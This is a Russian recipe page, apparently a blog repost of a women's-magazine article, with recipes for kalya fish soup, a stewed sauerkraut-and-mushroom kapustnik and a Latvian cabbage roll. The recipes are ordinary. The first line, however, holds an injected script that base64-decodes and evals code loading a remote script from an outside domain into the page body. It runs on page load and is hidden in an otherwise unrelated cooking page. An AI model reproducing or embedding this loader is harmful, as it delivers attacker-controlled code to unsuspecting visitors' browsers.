Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1wYXIiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
Гурмания. Калья и капустник
Все новое - это хорошо забытое старое. Это касается и рецептов блюд нашей русской кухни. Ведь стоит перелистать старинные кулинарные книги наших бабушек, как наши собственные записные книжки пополняются новыми рецептами блюд, которые после подачи их к столу неизменно награждаются эпитетами "ушло на "ура", "невероятно вкусно", "это потрясающе", а самое главное – "хочу добавки". Простые или сложные, состоящие из доступных всем продуктов или с компонентами, требующими как минимум "расшифровки" - все они передавались из поколения в поколение и мы, пожалуй, продолжим эту добрую традицию и попробуем несколько новых "старых" блюд русской кухни
Калья
" А калья, необыкновенная калья, с кусочками голубой икры, с маринованными огурчиками…" И. Шмелев. Лето господне.
Калья – один из видов рыбного супа, который никак нельзя путать с ухой. Калья это виртуозное произведение русской кулинарии, ее не приготовишь на скорую руку и не сваришь просто на костре. Калья требует к себе трепетного отношения и соблюдения всех тонкостей. К сожалению, отведать ее можно далеко не в каждом ресторане и уж тем более редкая хозяйка побалует гостей домашней кальей.
Для ее приготовления используют и речную, и морскую рыбу и их сочетание, добавляют в калью и икру. Лучше всего подойдут осетровые виды рыбы, карп, севрюга, главное, чтобы рыбка была жирная. Одна из главных особенностей приготовления этого рыбного супа в использовании огуречного рассола, разбавленного водой пополам, который вливают в бульон через 10 мин от начала варки, и пары ложек лимонного сока, добавляемого по по окончании приготовления супа.
Примерное соотношение продуктов для кальи:
|
На 1, 5 л воды - столько же рассола, 2-4 луковицы, 4 картофелины, 3 ст.л. риса, 2 мелко порезанных соленых огурца, пряности (петрушка, черный перец). |
Варится калья недолго – 15-20 минут, чтобы рыбка не переварилась. Боле сложные варианты ее приготовления предусматривают разные добавки вроде кусочков рыбной икры, сочетаний разных сортов рыбы, а так же клецки из смешанного рыбного фарша.
Капустники
Трудно себе представить даже русскую кухню без капусты – с ней готовят и первое, и второе, и закуски, и пироги. Капустных блюд столько, что в них можно даже запутаться. Вот как вы думаете, что такое капустники? Пироги? Да, но не только. Капустники – это и пироги, и супы, и запеканки из капусты, которыми славится не только русская, но и все славянские и прибалтийские кухни.
Если вы думаете, что это просто пирожки с капустой, то будете почти правы. Почему почти? Капустники – это не только пироги с капустой, но и суп, и самые разнообразные запеканки из нее. Капустники входят в золотую коллекцию блюд не только русской, но и белорусской, украинской, латышской кухонь.
Капустник по-старорусски
И не суп, и не запеканка – густой, наваристый, душистый и сытный старорусский капустник, томленый в духовом шкафу. Самое подходящее блюдо для осеннего меню.
Нужно:
|
1 л грибного бульона (или воды, в которой замачивались сушеные грибы) 400 г квашеной капусты (не очень кислой) 1 луковица 1 морковь 6 картофелин 30 г сушеных грибов 1 ч.л. муки 1 ч.л. сахара 21 ст.л. раст. масла соль, перец |
Готовим!
Грибы замочить на 2 часа в воде, довести до кипения, грибы вынуть и порезать. Капусту отжать от рассола, можно промыть водой, если она слишком кислая, затем потушить 5 мин на растительном масле. Морковь и лук тонко нашинковать и пассеровать 2-3- минуты. В кипящий грибной бульон положить картофель кубиками, капусту и пассерованные овощи, через 10 минут положить грибы, обжаренную муку (предварительно развести бульоном), соль и сахар. Через 5 минут разлить по порционным горшочкам и поставить в хорошо разогретый духовой шкаф до полного его остывания (не запекать!) Подают такой капустник с запеченным или обжаренным дольками картофелем.
В чем главный секрет капустников? Всего в двух словах - "чуть" и "слегка". Именно такой должна быть тепловая обработка капусты в этих блюдах – чуть обжаренной и слегка пассерованной. Лишь появился приятный специфический капустный аромат – огнь нужно тут же убрать, капуста не должна изменить цвет на "жареный", а лишь стать мягкой и чуть золотистой. Кстати, если готовить капустники в виде пирогов, то в начинку как нельзя лучше подойдет добавка в виде обжаренной моркови, рубленых яиц или грибов. Кстати, если начинки окажется больше, чем теста, то из нее можно тут же приготовить отменную запеканку! Достаточно выложить капустную начинку на противень, смазать взбитым яйцом и слегка "припылить мукой". Если же возиться с разделкой нескольких десятков пирожков вам не очень хочется, то можно взять рецепт капустника из золотой коллекции прибалтийской кухни – Капосту эйдес!
Капустник – рулет "капосту эйдес"
Нужно:
|
1 средний кочан капусты 3 луковицы 4 яйца соль 1 ч.л. тмина 50 г бекона 160 г муки (1 ст.с горкой) 1 яйцо 1 ст.л. масла 100 мл молока |
Готовим!
Замесить пресное тесто из молока, муки, яйца и масла и дать ему постоять 15 минут под салфеткой. Сварить 2 яйца и мелко порубить. Капусту нашинковать и чуть потушить с тмином без воды в собственном соку, затем добавить мелко порезанный бекон (половину). На остальном беконе сначала обжарить лук, затем добавить тушеную капусту, обжарить 2-3 минуты, смешать с рублеными яйцами, посолить. К капустному фаршу добавить сырые чуть взбитые яйца и сформовать из него батон. Раскатать тесто толщиной 3 мм и завернуть в него капустный батон. Тесто хорошо защипить, обернуть рулет марлей и опустить в подсоленный кипяток на 5 минут. Вынуть рулет, выложить на противень, смазать взбитым яйцом и поставить в горячую духовку на 3-5- минут до образования румяной корочки.
Галина Замыслова
iledebeaute.ru
| Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |
